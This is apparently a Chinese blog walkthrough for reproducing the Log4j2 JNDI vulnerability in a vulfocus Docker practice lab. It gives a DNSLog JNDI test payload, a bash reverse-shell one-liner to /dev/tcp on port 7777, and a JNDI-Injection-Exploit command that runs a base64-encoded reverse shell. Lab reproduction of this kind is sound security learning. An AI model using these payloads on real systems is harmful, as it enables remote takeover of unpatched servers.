通过vulfocus靶场--复现log4j2漏洞

目录

一、搭建vulfocus靶场

拉取vulfocus靶场镜像

运行vulfocus靶场

二、漏洞复现

1、DNSLog验证

 2、JNDI注入反弹shell

反弹shell指令:

JNDI启动方法:


一、搭建vulfocus靶场

前提:需要安装docker环境

以centos7为例

拉取vulfocus靶场镜像

docker pull vulfocus/vulfocus:latest
//拉取vulfocus靶场镜像

通过vulfocus靶场--复现log4j2漏洞_第1张图片

如果这里无法拉取镜像,重启一下docker服务即可

systemctl restart docker 

运行vulfocus靶场

docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xxx.xxx.xxx.xxx vulfocus/vulfocus
//ip为自己虚拟机的ip

 进行这步的时候出现了两个报错:iPv4转发禁用,不可联网;端口被占用

解决方法:

#配置转发,在最下面添加
net.ipv4.ip_forward=1

#重启服务,让配置生效
systemctl restart network

#查看是否成功,如果返回为“net.ipv4.ip_forward = 1”则表示成功
sysctl net.ipv4.ip_forward

解决办法:
docker -ps   //查看docker正在运行的进程
//杀死占用端口的进程镜像
docker kill [进程号]

成功后,在浏览器中输入ip地址,会出现下面的页面。

用户名密码默认:admin admin

 登录后就可以在镜像管理中下载所需镜像了

通过vulfocus靶场--复现log4j2漏洞_第2张图片

 因为我的靶场里没有log4j2漏洞的镜像,于是回docker拉了一个

docker pull vulfocus/log4j2-cve-2021-44228

 附漏洞镜像拉取命令链接:https://fofapro.github.io/vulfocus/#/images/README

添加完镜像后,就可以回首页选择自己想开的靶场了

通过vulfocus靶场--复现log4j2漏洞_第3张图片


二、漏洞复现

通过vulfocus靶场--复现log4j2漏洞_第4张图片

1、DNSLog验证

http://www.dnslog.cn/

将dnslog中获得的域名,构造payload:${jndi:ldap://qg3t7i.dnslog.cn}

通过vulfocus靶场--复现log4j2漏洞_第5张图片

使用Burpsuite抓包,在浏览器中点击,替换payload参数。

通过vulfocus靶场--复现log4j2漏洞_第6张图片 直接发包会报400错误,我们需要对它进行编码并重新发包

通过vulfocus靶场--复现log4j2漏洞_第7张图片

通过vulfocus靶场--复现log4j2漏洞_第8张图片

发包返回200 成功后,DNSlog网站中会接收到解析记录,说明这里有洞

通过vulfocus靶场--复现log4j2漏洞_第9张图片


2、JNDI注入反弹shell

利用JNDI注入工具在攻击机上开启JNDI服务器,我在kali安装

JNDI下载地址:Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub

下载好之后拖到kali机里就可以了

反弹shell指令:

bash -i >& /dev/tcp/192.168.137.137/7777 0>&1

第一处标色处是服务器IP;第二处是自己设置的监听端口号(必须是未被占用的端口号)

JNDI启动方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"  -A  xxx.xxx.xxx.xxx

标颜色的地方是反弹shell指令经过base64编码后所得。这串代码里只需改此处和最后面服务器的IP

-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP

 将反弹shell指令base64编码后,将一整串启动JNDI代码在kali中运行

设置端口号并监听,我这里设置的是7777

执行命令之后,生成可用payload

通过vulfocus靶场--复现log4j2漏洞_第10张图片

使用burpsuit抓包,替换payload

通过vulfocus靶场--复现log4j2漏洞_第11张图片

按照之前的方法,将payload进行url编码并发包(我使用第一个监听不到,第二个包监听到了)

监听界面出现如下所示,即为反弹shell成功

通过vulfocus靶场--复现log4j2漏洞_第12张图片

 提交flag

通过vulfocus靶场--复现log4j2漏洞_第13张图片

 

你可能感兴趣的:(漏洞复现,docker,容器,运维,linux,web安全)